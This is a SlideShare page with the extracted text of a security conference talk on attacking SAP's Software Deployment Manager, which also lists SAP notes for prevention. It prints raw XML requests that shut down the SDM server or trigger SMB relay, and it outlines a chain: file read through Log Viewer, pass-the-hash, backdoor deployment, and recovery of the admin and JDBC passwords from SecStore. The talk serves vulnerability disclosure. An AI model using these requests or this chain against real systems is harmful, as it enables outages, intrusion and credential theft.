SlideShare a Scribd company logo
Invest	
  in	
  security	
  
to	
  secure	
  investments	
  
Injec&ng	
  evil	
  code	
  in	
  your	
  SAP	
  
J2EE	
  systems:	
  Security	
  of	
  SAP	
  
So<ware	
  Deployment	
  Server	
  
Dmitry	
  Chastukhin	
  
Director	
  of	
  SAP	
  pentest/research	
  team	
  
About	
  ERPScan	
  
•  The	
   only	
   360-­‐degree	
   SAP	
   Security	
   solu8on	
   -­‐	
   ERPScan	
   Security	
  
Monitoring	
  Suite	
  for	
  SAP	
  
•  Leader	
  by	
  the	
  number	
  of	
  acknowledgements	
  from	
  SAP	
  (	
  150+	
  )	
  
•  60+	
  presenta&ons	
  key	
  security	
  conferences	
  worldwide	
  
•  25	
  Awards	
  and	
  nomina&ons	
  
•  Research	
  team	
  -­‐	
  20	
  experts	
  with	
  experience	
  in	
  	
  different	
  areas	
  
of	
  security	
  
•  Headquarters	
  in	
  Palo	
  Alto	
  (US)	
  and	
  Amsterdam	
  (EU)	
  
	
  
	
  
2	
  
SAP	
  popularity	
  
•  The	
  most	
  popular	
  business	
  applica8on	
  
•  More	
  than	
  248,500	
  customers	
  in	
  188	
  countries	
  	
  
•  More	
  than	
  70%	
  of	
  Forbes	
  500	
  run	
  SAP	
  
3	
  
SAP	
  insecurity	
  
Espionage	
  
•  Stealing	
  financial	
  informa8on	
  
•  Stealing	
  corporate	
  secrets	
  
•  Stealing	
  supplier	
  and	
  customer	
  lists	
  
•  Stealing	
  HR	
  data	
  
Fraud	
  
•  False	
  transac8ons	
  
•  Modifica8on	
  of	
  master	
  data	
  
Sabotage	
  
•  Denial	
  of	
  service	
  
•  Modifica8on	
  of	
  financial	
  reports	
  
•  Access	
  to	
  technology	
  network	
  (SCADA)	
  by	
  trust	
  rela8ons	
  
4	
  
0	
  
5	
  
10	
  
15	
  
20	
  
25	
  
30	
  
35	
  
2003	
   2004	
   2005	
   2006	
   2007	
   2008	
   2009	
   2010	
   2011	
   2012	
   2013	
  
SAP	
  hacking	
  talks	
  
•  BlackHat	
  
•  Defcon	
  	
  
•  HITB	
  	
  
•  RSA	
  	
  
•  CONFidence	
  
•  DeepSec	
  	
  
•  Hack8vity	
  
•  Troopers	
  	
  
•  Source	
  
Source:	
  SAP	
  Security	
  in	
  Figures	
  
5	
  
More	
  than	
  2700	
  in	
  total	
  
Source:	
  SAP	
  Security	
  in	
  Figures	
  
6	
  
SAP	
  vulnerabili&es	
  
Is	
  it	
  remotely	
  exploitable?	
  
	
  	
  
>	
  5000	
  	
  non-­‐web	
  SAP	
  services	
  exposed	
  in	
  the	
  world	
  
	
  including	
  Dispatcher,	
  Message	
  Server,	
  Sap	
  Host	
  Control,	
  etc.	
  	
  
sapscan.com	
  
7	
  
What	
  about	
  other	
  services?	
  	
  
0
1
2
3
4
5
6
7
8
9
SAP Dispatcher SAP MMC SAP Message Server SAP HostControl SAP ITS Agate SAP Message Server
httpd
Source:	
  SAP	
  Security	
  in	
  Figures	
  
8	
  
•  Design	
  Time	
  Repository	
  (DTR)	
  
•  Component	
  Build	
  Service	
  (CBS)	
  
•  Change	
  Management	
  Service	
  (CMS)	
  
•  So[ware	
  Landscape	
  Directory	
  (SLD)	
  /	
  NS	
  
•  So[ware	
  Deployment	
  Manager	
  (SDM)	
  
9	
  
SAP	
  NetWeaver	
  development	
  infrastructure	
  
 	
  	
  	
  	
  
10	
  
SAP	
  NetWeaver	
  development	
  infrastructure	
  
 	
  	
  	
  	
  	
  
11	
  
SAP	
  NetWeaver	
  development	
  infrastructure	
  
 	
  	
  
12	
  
SAP	
  NetWeaver	
  development	
  infrastructure	
  
 	
  
13	
  
SAP	
  NetWeaver	
  development	
  infrastructure	
  
 	
  
14	
  
SAP	
  NetWeaver	
  development	
  infrastructure	
  
 	
  
15	
  
SAP	
  NetWeaver	
  development	
  infrastructure	
  
So<ware	
  Deployment	
  Manager	
  
•  Single	
  interface	
  for	
  the	
  deployment	
  
•  Deploy	
  apps	
  (*.ear,	
  *.war,	
  *.sda)	
  
•  Implement	
  custom	
  patches	
  
16	
  
SDM	
  server	
  
•  Different	
  server	
  modes	
  
–  standalone	
  
–  integrated	
  
•  Only	
  one	
  user	
  at	
  8me	
  
•  Only	
  hardcoded	
  admin	
  user	
  
•  Two	
  ports:	
  
–  50117	
  –	
  Admin	
  Port	
  
–  50118	
  –	
  GUI	
  Port	
  
	
  
17	
  
SDM	
  client	
  
•  Browsing	
  the	
  distribu8on	
  of	
  deployed	
  components	
  
•  Deploying	
  and	
  undeploying	
  
•  Log	
  viewing	
  
18	
  
SDM	
  a^ack	
  intro	
  
•  SAP	
  infrastructure	
  includes	
  many	
  Java	
  services	
  
•  Almost	
  all	
  Java	
  stuff	
  uses	
  UME	
  
•  Universal	
  user	
  with	
  a	
  password	
  
•  Only	
  one	
  user	
  at	
  a	
  8me	
  
•  Ability	
  to	
  deploy	
  evil	
  code	
  =>	
  plus,	
  see	
  1st	
  item	
  
19	
  
SDM	
  a^ack	
  intro	
  
•  Thick	
  client	
  Java	
  applica8on	
  (sad	
  story)	
  
•  Scarce	
  communica8ons	
  segngs	
  
•  Difficult	
  to	
  intercept	
  
•  Custom	
  protocols	
  
20	
  
SDM	
  a^ack	
  intro	
  
•  SAP	
  has	
  its	
  own	
  SAP	
  Java	
  Virtual	
  Machine	
  (JVM)	
  
•  Java	
  6	
  has	
  Ajach	
  API	
  
•  Ajach	
  to	
  another	
  running	
  JVM	
  
•  Intercept	
  and	
  modify	
  calls	
  
21	
  
A^ack	
  SAP	
  SDM.	
  DoS	
  	
  
•  If	
  ajacker	
  uses	
  an	
  incorrect	
  password	
  3	
  8mes,	
  the	
  server	
  will	
  
shutdown	
  automa8cally	
  
•  Also,	
  if	
  you	
  send	
  this	
  request,	
  you	
  can	
  shutdown	
  the	
  SDM	
  server	
  
manually:	
  
[10 spaces]56<?xml version="1.0"?>
<ShutDownRequest></ShutDownRequest>
22	
  
A^acking	
  SAP	
  SDM.	
  SMB	
  relay	
  
Packed:	
  
	
  
[10 Spaces]<?xml version="1.0"?>
<FileAccessRequest f="ip_addrblabla"> </
FileAccessRequest>
	
  
	
  
	
  
	
  
	
  
	
  
	
  
An	
  old	
  trick,	
  but	
  some8mes	
  it’s	
  very	
  useful	
  	
  	
  
	
  
	
  
	
  
23	
  
Preven&on	
  
	
  
	
  	
  
• 	
  Install	
  note	
  1724516	
  
• 	
  Enable	
  the	
  security	
  features	
  of	
  SDM	
  
• 	
  SDM	
  server	
  and	
  SDM	
  client	
  need	
  to	
  be	
  updated	
  
hjps://websmp205.sap-­‐ag.de/~sapidb/012006153200000493902012E/
SDM_EnablingSecurity.pdf	
  
	
  
24	
  
From	
  Nobody	
  to	
  Administrator	
  
Now,	
  I	
  will	
  show	
  an	
  interes0ng	
  a2ack	
  
Compromise	
  Some	
  SAP	
  Services	
  
	
  
Compromise	
  SAP	
  SDM	
  
	
  
Compromise	
  SAP	
  Server	
  OS	
  	
  
	
  
Compromise	
  SAP	
  
25	
  
SDM	
  authen&ca&on	
  abuse	
  
•  OK.	
  Let’s	
  see	
  how	
  authen8ca8on	
  in	
  SDM	
  works:	
  
–  user	
  enters	
  password	
  
–  hash	
  is	
  calculated	
  locally	
  on	
  client	
  
–  password	
  hash	
  is	
  sent	
  to	
  server	
  
–  hash	
  is	
  compared	
  to	
  hash	
  from	
  config	
  file	
  
•  Looks	
  like	
  a	
  plain	
  text	
  password	
  
	
  
	
  
Pass	
  the	
  hash	
  a^ack	
  here!	
  
26	
  
SDM	
  authen&ca&on	
  abuse	
  
RootFrame.class	
  
27	
  
SDM	
  authen&ca&on	
  abuse	
  
…SDMprogramconfigsdmrepository.sdc	
  
28	
  
SDM	
  authen&ca&on	
  abuse	
  
SMDAuthen8catorImpl.class	
  
29	
  
A^ack	
  on	
  SAP	
  SDM	
  
Read	
  sdmrepository.sdc	
  
	
  
	
  
Get	
  hash	
  password	
  
	
  
	
  
Use	
  hash	
  as	
  password	
  to	
  authen8cate	
  on	
  SDM	
  server	
  
	
  
	
  
Deploy	
  backdoor	
  on	
  SAP	
  Server	
  
	
  
	
  
PROFIT!	
  	
  
	
  
30	
  
File	
  read	
  
• 	
  OS	
  command	
  execu8on	
  through	
  CTC	
  (Notes	
  1467771,	
  1445998	
  )	
  
• 	
  XML	
  External	
  En88es	
  (Note	
  1619539)	
  
• 	
  Directory	
  Traversal	
  (Note	
  1630293	
  )	
  
• 	
  Through	
  MMC	
  file	
  read	
  func8on	
  (Notes	
  	
  927637	
  and	
  1439348)	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  We	
  have	
  something	
  new	
  for	
  u	
  J	
  
31	
  
SAP	
  Log	
  Viewer	
  standalone	
  
•  Open	
  ports:	
  26000	
  (NI),	
  1099	
  (RMI),	
  5465	
  (Socket)	
  
•  You	
  can:	
  
–  View	
  log	
  on	
  local	
  server	
  
–  View	
  log	
  on	
  remote	
  server	
  
–  Register	
  file	
  as	
  log	
  file	
  
Read	
  log	
  file	
  without	
  authen&ca&on!	
  
32	
  
SAP	
  Log	
  Viewer	
  standalone	
  
A^ack	
  is	
  pre^y	
  easy	
  
	
  
Connect	
  to	
  LogViewer	
  standalone	
  Server	
  
	
  
	
  
Register	
  sdmrepository.sdc	
  file	
  as	
  log	
  file	
  
	
  
	
  
Read	
  it	
  
	
  
	
  
33	
  
SAP	
  Log	
  Viewer	
  standalone	
  
	
  	
  	
  
34	
  
SAP	
  Log	
  Viewer	
  standalone	
  
When	
  we	
  have	
  a	
  password	
  hash,	
  we	
  can	
  use	
  it	
  as	
  password	
  to	
  
authen8cate	
  on	
  SDM	
  server	
  
35	
  
SDM	
  intrusion	
  
Full	
  info	
  about	
  the	
  SDM	
  repository	
  
36	
  
Bypassing	
  SDM	
  restric&ons	
  
•  Observe	
  all	
  server	
  directories	
  
•  Read	
  arbitrary	
  files	
  via	
  Log	
  Viewer	
  
37	
  
SDM	
  undeploying	
  
Undeploy	
  any	
  applica8on	
  
	
  
38	
  
SDM	
  backdooring	
  
Deploy	
  any	
  applica8on	
  
	
  	
  
39	
  
SDM	
  backdooring	
  
•  before	
  
•  a[er	
  
40	
  
SDM	
  post-­‐exploita&on	
  
	
  	
  
41	
  
Preven&on	
  
	
  
	
  	
  
• 	
  Install	
  Note	
  1724516,	
  1685106	
  	
  
• 	
  Enable	
  the	
  security	
  features	
  of	
  SDM	
  
• 	
  SDM	
  server	
  and	
  SDM	
  client	
  need	
  to	
  be	
  updated	
  
hjps://websmp205.sap-­‐ag.de/~sapidb/012006153200000493902012E/
SDM_EnablingSecurity.pdf	
  
	
  
42	
  
  	
  “The	
  So=ware	
  Deployment	
  Manager	
  (SDM)	
  uses	
  the	
  database	
  
connec0on	
  informa0on,	
  the	
  J2EE	
  Engine	
  administrator	
  user	
  and	
  
password	
  from	
  the	
  secure	
  storage	
  in	
  the	
  file	
  system,	
  to	
  connect	
  
to	
  the	
  J2EE	
  Engine	
  and	
  perform	
  tasks	
  such	
  as	
  so=ware	
  
deployment	
  and	
  undeployment”.	
  
	
  	
  hjp://help.sap.com/saphelp_nw70ehp1/helpdata/en/3d/
2e104202795e33e10000000a155106/content.htm	
  
Wow!	
  J2EE	
  Engine	
  administrator	
  user	
  and	
  password	
  
Where	
  is	
  all	
  this	
  stuff	
  located?	
  
SAP	
  SecStore	
  
43	
  
SAP	
  SecStore	
  
	
  “By	
  default,	
  the	
  J2EE	
  Engine	
  stores	
  secure	
  data	
  in	
  the	
  file	
  usr
sap<SID>SYSglobalsecuritydataSecStore.proper0es	
  in	
  the	
  
file	
  system”.	
  
	
  
	
  “The	
  J2EE	
  Engine	
  uses	
  the	
  SAP	
  Java	
  Cryptography	
  Toolkit	
  to	
  
encrypt	
  the	
  contents	
  of	
  the	
  secure	
  store	
  with	
  the	
  
tripleDES	
  algorithm”.	
  
	
  hjp://help.sap.com/saphelp_nw70ehp1/helpdata/en/3d/
2e104202795e33e10000000a155106/content.htm	
  
	
  
OK.	
  Let’s	
  try	
  to	
  read	
  SecStore.proper0es	
  
44	
  
SAP	
  SecStore	
  
•  We	
  can	
  execute	
  any	
  OS	
  command	
  (we	
  have	
  our	
  backdoor)	
  
•  We	
  know	
  the	
  SAP	
  J2EE	
  Engine	
  stores	
  the	
  database	
  
user	
  SAP<SID>DB;	
  its	
  password	
  is	
  here:	
  
usrsap<SID>SYSglobalsecuritydataSecStore.properties
•  It’s	
  all	
  that	
  we	
  need	
  
45	
  
$internal/version=Ni4zFF4wMSeaseforCCMxegAfx
admin/host/TTT=7KJuOPPs/+u+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS
admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp+QD04b0Fh
jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH
admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ
$internal/check=BJRrzfjeUA+bw4XCzdz16zX78ufbt
$internal/mode=encrypted
admin/user/TTT=7KJuOPPs/+u+14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E
SecStore.proper&es	
  
But	
  where	
  is	
  the	
  key?	
  
46	
  
Get	
  the	
  password	
  
•  We	
  have	
  an	
  encrypted	
  password	
  
•  We	
  have	
  a	
  key	
  to	
  decrypt	
  it	
  
We	
  got	
  the	
  J2EE	
  admin	
  and	
  JDBC	
  
login:password!	
  
47	
  
Preven&on	
  
	
  
	
  
Restrict	
  read	
  access	
  to	
  files	
  SecStore.proper0es	
  and	
  
SecStore.key	
  
	
  
hjp://help.sap.com/saphelp_nw73ehp1/helpdata/en/cd/
14c93ec2f7df6ae10000000a114084/content.htm	
  	
  
	
  
48	
  
Post-­‐exploita&on	
  
49	
  
SDM	
  hacking	
  demo	
  
50	
  
It	
  is	
  possible	
  to	
  protect	
  yourself	
  from	
  these	
  kinds	
  of	
  issues,	
  	
  
and	
  we	
  are	
  working	
  close	
  with	
  SAP	
  to	
  keep	
  customers	
  secure	
  
SAP	
  Guides	
  
It’s	
  all	
  in	
  your	
  hands	
  
Regular	
  security	
  assessments	
  
ABAP	
  code	
  review	
  
Monitoring	
  technical	
  security	
  
Segrega&on	
  of	
  Du&es	
  
Security	
  events	
  monitoring	
  
51	
  
Conclusion	
  
 I'd	
  like	
  to	
  thank	
  SAP's	
  Product	
  Security	
  Response	
  Team	
  for	
  the	
  
great	
  coopera0on	
  to	
  make	
  SAP	
  systems	
  more	
  secure.	
  Research	
  
is	
  always	
  ongoing,	
  and	
  we	
  can't	
  share	
  all	
  of	
  it	
  today.	
  If	
  you	
  want	
  
to	
  be	
  the	
  first	
  to	
  see	
  new	
  a2acks	
  and	
  demos,	
  follow	
  us	
  at	
  
@erpscan	
  and	
  a2end	
  future	
  presenta0ons:	
  
	
  
•  October 	
  30-­‐31 	
  RSA	
  Europe 	
  	
  	
  	
  	
  	
  	
   	
  	
  	
  	
  	
  	
  	
  	
  (Amsterdam,	
  NL)	
  
•  November 	
  7-­‐8 	
  ZeroNights 	
   	
  	
  	
  	
  	
  	
  	
  	
  (Moscow,	
  Russia)	
  
•  November 	
  10 	
  G0S 	
   	
   	
  	
  	
  	
  	
  	
  	
  	
  (New	
  Dehli,	
  India)	
  
52	
  
Future	
  work	
  
Web:	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  www.erpscan.com	
  
e-­‐mail:	
  info@erpscan.com	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
Twijer:	
  	
  
@erpscan	
  
@_chipik	
  
53	
  

More Related Content

PDF
If I want a perfect cyberweapon, I'll target ERP - second edition
PDF
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
PDF
Breaking, forensicating and anti-forensicating SAP Portal and J2EE Engine
PDF
Assessing and Securing SAP Solutions
PDF
Practical SAP pentesting (B-Sides San Paulo)
PDF
Practical SAP pentesting workshop (NullCon Goa)
PDF
All your SAP passwords belong to us
PDF
Assess and monitor SAP security
If I want a perfect cyberweapon, I'll target ERP - second edition
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
Breaking, forensicating and anti-forensicating SAP Portal and J2EE Engine
Assessing and Securing SAP Solutions
Practical SAP pentesting (B-Sides San Paulo)
Practical SAP pentesting workshop (NullCon Goa)
All your SAP passwords belong to us
Assess and monitor SAP security

What's hot (20)

PDF
Attacking SAP Mobile
PDF
SAP security landscape. How to protect(hack) your(their) big business
PDF
If I want a perfect cyberweapon, I'll target ERP
PDF
SAP (in)security: New and best
PDF
SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...
PDF
Attacking SAP users with sapsploit
PDF
5 real ways to destroy business by breaking SAP applications
PDF
Securing SAP in 5 steps
PDF
Oracle PeopleSoft applications are under attacks (Hack in Paris)
PPT
Sap security – thinking with a hacker’s hat
PDF
SAP Business Objects Attacks
PDF
Cyber-attacks to SAP Systems
PDF
SAP security made easy
PDF
Sap penetration testing_defense_in_depth
PDF
Onapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP Forensics
PDF
Penetration Testing SAP Systems
PDF
Forgotten world - Corporate Business Application Systems
PDF
SAP security in figures
PDF
Blended Web and Database Attacks on Real Time In-memory Platforms
PDF
Oracle PeopleSoft applications are under attack (HITB AMS)
Attacking SAP Mobile
SAP security landscape. How to protect(hack) your(their) big business
If I want a perfect cyberweapon, I'll target ERP
SAP (in)security: New and best
SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...
Attacking SAP users with sapsploit
5 real ways to destroy business by breaking SAP applications
Securing SAP in 5 steps
Oracle PeopleSoft applications are under attacks (Hack in Paris)
Sap security – thinking with a hacker’s hat
SAP Business Objects Attacks
Cyber-attacks to SAP Systems
SAP security made easy
Sap penetration testing_defense_in_depth
Onapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP Forensics
Penetration Testing SAP Systems
Forgotten world - Corporate Business Application Systems
SAP security in figures
Blended Web and Database Attacks on Real Time In-memory Platforms
Oracle PeopleSoft applications are under attack (HITB AMS)

Viewers also liked (8)

PDF
Top 10 most interesting vulnerabilities and attacks in SAP
PDF
SAP portal: breaking and forensicating
PDF
Breaking SAP portal (HashDays)
PDF
The latest changes to SAP cybersecurity landscape
PDF
Practical pentesting of ERPs and business applications
PDF
What CISOs should know about SAP security
PDF
EAS-SEC: Framework for securing business applications
PDF
Implementing SAP security in 5 steps
Top 10 most interesting vulnerabilities and attacks in SAP
SAP portal: breaking and forensicating
Breaking SAP portal (HashDays)
The latest changes to SAP cybersecurity landscape
Practical pentesting of ERPs and business applications
What CISOs should know about SAP security
EAS-SEC: Framework for securing business applications
Implementing SAP security in 5 steps

Similar to SAP SDM Hacking (20)

PDF
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
PDF
A crushing blow at the heart of SAP’s J2EE Engine.
PDF
Architecture vulnerabilities in SAP platforms
PDF
An easy way into your sap systems v3.0
PDF
A Big Data Lake Based on Spark for BBVA Bank-(Oscar Mendez, STRATIO)
PDF
Představení Oracle SPARC Miniclusteru
PDF
Dell PowerEdge Zero Touch Provisioning
PDF
Sap basis-transaction-codes
PDF
WebSphere Technical University: Top WebSphere Problem Determination Features
PDF
Experiences of SOACS
PDF
Software as a Service workshop / Unlocked: the Hybrid Cloud 12th May 2014
PDF
Plam16 jan
DOC
Fayaz-Systems Engineer
PPTX
Securing the Helix Platform at Citrix
PDF
2013 OWASP Top 10
PPTX
SAP (In)Security: New and Best
PDF
Putting Private Clouds to Work with PaaS Interop 2013 Vegas Diane Mueller
PDF
Putting Private Clouds to Work with PaaS Interop Vegas 2013 presentation by D...
PPTX
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
PPTX
Oracle SPARC T7 a M7 servery
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
A crushing blow at the heart of SAP’s J2EE Engine.
Architecture vulnerabilities in SAP platforms
An easy way into your sap systems v3.0
A Big Data Lake Based on Spark for BBVA Bank-(Oscar Mendez, STRATIO)
Představení Oracle SPARC Miniclusteru
Dell PowerEdge Zero Touch Provisioning
Sap basis-transaction-codes
WebSphere Technical University: Top WebSphere Problem Determination Features
Experiences of SOACS
Software as a Service workshop / Unlocked: the Hybrid Cloud 12th May 2014
Plam16 jan
Fayaz-Systems Engineer
Securing the Helix Platform at Citrix
2013 OWASP Top 10
SAP (In)Security: New and Best
Putting Private Clouds to Work with PaaS Interop 2013 Vegas Diane Mueller
Putting Private Clouds to Work with PaaS Interop Vegas 2013 presentation by D...
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
Oracle SPARC T7 a M7 servery

Recently uploaded (20)

PPTX
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
PDF
iTop VPN Free 5.6.0.5262 Crack latest version 2025
PDF
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
PPTX
Computer Software and OS of computer science of grade 11.pptx
PDF
Product Update: Alluxio AI 3.7 Now with Sub-Millisecond Latency
PDF
Cost to Outsource Software Development in 2025
PPTX
Introduction to Artificial Intelligence
PDF
Softaken Excel to vCard Converter Software.pdf
PDF
medical staffing services at VALiNTRY
PDF
Nekopoi APK 2025 free lastest update
PDF
Which alternative to Crystal Reports is best for small or large businesses.pdf
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PPTX
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
PPTX
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PDF
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PPTX
Embracing Complexity in Serverless! GOTO Serverless Bengaluru
PPTX
Log360_SIEM_Solutions Overview PPT_Feb 2020.pptx
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
iTop VPN Free 5.6.0.5262 Crack latest version 2025
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
Computer Software and OS of computer science of grade 11.pptx
Product Update: Alluxio AI 3.7 Now with Sub-Millisecond Latency
Cost to Outsource Software Development in 2025
Introduction to Artificial Intelligence
Softaken Excel to vCard Converter Software.pdf
medical staffing services at VALiNTRY
Nekopoi APK 2025 free lastest update
Which alternative to Crystal Reports is best for small or large businesses.pdf
Design an Analysis of Algorithms II-SECS-1021-03
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Design an Analysis of Algorithms I-SECS-1021-03
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
Adobe Illustrator 28.6 Crack My Vision of Vector Design
Embracing Complexity in Serverless! GOTO Serverless Bengaluru
Log360_SIEM_Solutions Overview PPT_Feb 2020.pptx

SAP SDM Hacking

  • 1. Invest  in  security   to  secure  investments   Injec&ng  evil  code  in  your  SAP   J2EE  systems:  Security  of  SAP   So<ware  Deployment  Server   Dmitry  Chastukhin   Director  of  SAP  pentest/research  team  
  • 2. About  ERPScan   •  The   only   360-­‐degree   SAP   Security   solu8on   -­‐   ERPScan   Security   Monitoring  Suite  for  SAP   •  Leader  by  the  number  of  acknowledgements  from  SAP  (  150+  )   •  60+  presenta&ons  key  security  conferences  worldwide   •  25  Awards  and  nomina&ons   •  Research  team  -­‐  20  experts  with  experience  in    different  areas   of  security   •  Headquarters  in  Palo  Alto  (US)  and  Amsterdam  (EU)       2  
  • 3. SAP  popularity   •  The  most  popular  business  applica8on   •  More  than  248,500  customers  in  188  countries     •  More  than  70%  of  Forbes  500  run  SAP   3  
  • 4. SAP  insecurity   Espionage   •  Stealing  financial  informa8on   •  Stealing  corporate  secrets   •  Stealing  supplier  and  customer  lists   •  Stealing  HR  data   Fraud   •  False  transac8ons   •  Modifica8on  of  master  data   Sabotage   •  Denial  of  service   •  Modifica8on  of  financial  reports   •  Access  to  technology  network  (SCADA)  by  trust  rela8ons   4  
  • 5. 0   5   10   15   20   25   30   35   2003   2004   2005   2006   2007   2008   2009   2010   2011   2012   2013   SAP  hacking  talks   •  BlackHat   •  Defcon     •  HITB     •  RSA     •  CONFidence   •  DeepSec     •  Hack8vity   •  Troopers     •  Source   Source:  SAP  Security  in  Figures   5  
  • 6. More  than  2700  in  total   Source:  SAP  Security  in  Figures   6   SAP  vulnerabili&es  
  • 7. Is  it  remotely  exploitable?       >  5000    non-­‐web  SAP  services  exposed  in  the  world    including  Dispatcher,  Message  Server,  Sap  Host  Control,  etc.     sapscan.com   7  
  • 8. What  about  other  services?     0 1 2 3 4 5 6 7 8 9 SAP Dispatcher SAP MMC SAP Message Server SAP HostControl SAP ITS Agate SAP Message Server httpd Source:  SAP  Security  in  Figures   8  
  • 9. •  Design  Time  Repository  (DTR)   •  Component  Build  Service  (CBS)   •  Change  Management  Service  (CMS)   •  So[ware  Landscape  Directory  (SLD)  /  NS   •  So[ware  Deployment  Manager  (SDM)   9   SAP  NetWeaver  development  infrastructure  
  • 10.           10   SAP  NetWeaver  development  infrastructure  
  • 11.             11   SAP  NetWeaver  development  infrastructure  
  • 12.       12   SAP  NetWeaver  development  infrastructure  
  • 13.     13   SAP  NetWeaver  development  infrastructure  
  • 14.     14   SAP  NetWeaver  development  infrastructure  
  • 15.     15   SAP  NetWeaver  development  infrastructure  
  • 16. So<ware  Deployment  Manager   •  Single  interface  for  the  deployment   •  Deploy  apps  (*.ear,  *.war,  *.sda)   •  Implement  custom  patches   16  
  • 17. SDM  server   •  Different  server  modes   –  standalone   –  integrated   •  Only  one  user  at  8me   •  Only  hardcoded  admin  user   •  Two  ports:   –  50117  –  Admin  Port   –  50118  –  GUI  Port     17  
  • 18. SDM  client   •  Browsing  the  distribu8on  of  deployed  components   •  Deploying  and  undeploying   •  Log  viewing   18  
  • 19. SDM  a^ack  intro   •  SAP  infrastructure  includes  many  Java  services   •  Almost  all  Java  stuff  uses  UME   •  Universal  user  with  a  password   •  Only  one  user  at  a  8me   •  Ability  to  deploy  evil  code  =>  plus,  see  1st  item   19  
  • 20. SDM  a^ack  intro   •  Thick  client  Java  applica8on  (sad  story)   •  Scarce  communica8ons  segngs   •  Difficult  to  intercept   •  Custom  protocols   20  
  • 21. SDM  a^ack  intro   •  SAP  has  its  own  SAP  Java  Virtual  Machine  (JVM)   •  Java  6  has  Ajach  API   •  Ajach  to  another  running  JVM   •  Intercept  and  modify  calls   21  
  • 22. A^ack  SAP  SDM.  DoS     •  If  ajacker  uses  an  incorrect  password  3  8mes,  the  server  will   shutdown  automa8cally   •  Also,  if  you  send  this  request,  you  can  shutdown  the  SDM  server   manually:   [10 spaces]56<?xml version="1.0"?> <ShutDownRequest></ShutDownRequest> 22  
  • 23. A^acking  SAP  SDM.  SMB  relay   Packed:     [10 Spaces]<?xml version="1.0"?> <FileAccessRequest f="ip_addrblabla"> </ FileAccessRequest>               An  old  trick,  but  some8mes  it’s  very  useful             23  
  • 24. Preven&on         •   Install  note  1724516   •   Enable  the  security  features  of  SDM   •   SDM  server  and  SDM  client  need  to  be  updated   hjps://websmp205.sap-­‐ag.de/~sapidb/012006153200000493902012E/ SDM_EnablingSecurity.pdf     24  
  • 25. From  Nobody  to  Administrator   Now,  I  will  show  an  interes0ng  a2ack   Compromise  Some  SAP  Services     Compromise  SAP  SDM     Compromise  SAP  Server  OS       Compromise  SAP   25  
  • 26. SDM  authen&ca&on  abuse   •  OK.  Let’s  see  how  authen8ca8on  in  SDM  works:   –  user  enters  password   –  hash  is  calculated  locally  on  client   –  password  hash  is  sent  to  server   –  hash  is  compared  to  hash  from  config  file   •  Looks  like  a  plain  text  password       Pass  the  hash  a^ack  here!   26  
  • 27. SDM  authen&ca&on  abuse   RootFrame.class   27  
  • 28. SDM  authen&ca&on  abuse   …SDMprogramconfigsdmrepository.sdc   28  
  • 29. SDM  authen&ca&on  abuse   SMDAuthen8catorImpl.class   29  
  • 30. A^ack  on  SAP  SDM   Read  sdmrepository.sdc       Get  hash  password       Use  hash  as  password  to  authen8cate  on  SDM  server       Deploy  backdoor  on  SAP  Server       PROFIT!       30  
  • 31. File  read   •   OS  command  execu8on  through  CTC  (Notes  1467771,  1445998  )   •   XML  External  En88es  (Note  1619539)   •   Directory  Traversal  (Note  1630293  )   •   Through  MMC  file  read  func8on  (Notes    927637  and  1439348)                                                                                                                        We  have  something  new  for  u  J   31  
  • 32. SAP  Log  Viewer  standalone   •  Open  ports:  26000  (NI),  1099  (RMI),  5465  (Socket)   •  You  can:   –  View  log  on  local  server   –  View  log  on  remote  server   –  Register  file  as  log  file   Read  log  file  without  authen&ca&on!   32  
  • 33. SAP  Log  Viewer  standalone   A^ack  is  pre^y  easy     Connect  to  LogViewer  standalone  Server       Register  sdmrepository.sdc  file  as  log  file       Read  it       33  
  • 34. SAP  Log  Viewer  standalone         34  
  • 35. SAP  Log  Viewer  standalone   When  we  have  a  password  hash,  we  can  use  it  as  password  to   authen8cate  on  SDM  server   35  
  • 36. SDM  intrusion   Full  info  about  the  SDM  repository   36  
  • 37. Bypassing  SDM  restric&ons   •  Observe  all  server  directories   •  Read  arbitrary  files  via  Log  Viewer   37  
  • 38. SDM  undeploying   Undeploy  any  applica8on     38  
  • 39. SDM  backdooring   Deploy  any  applica8on       39  
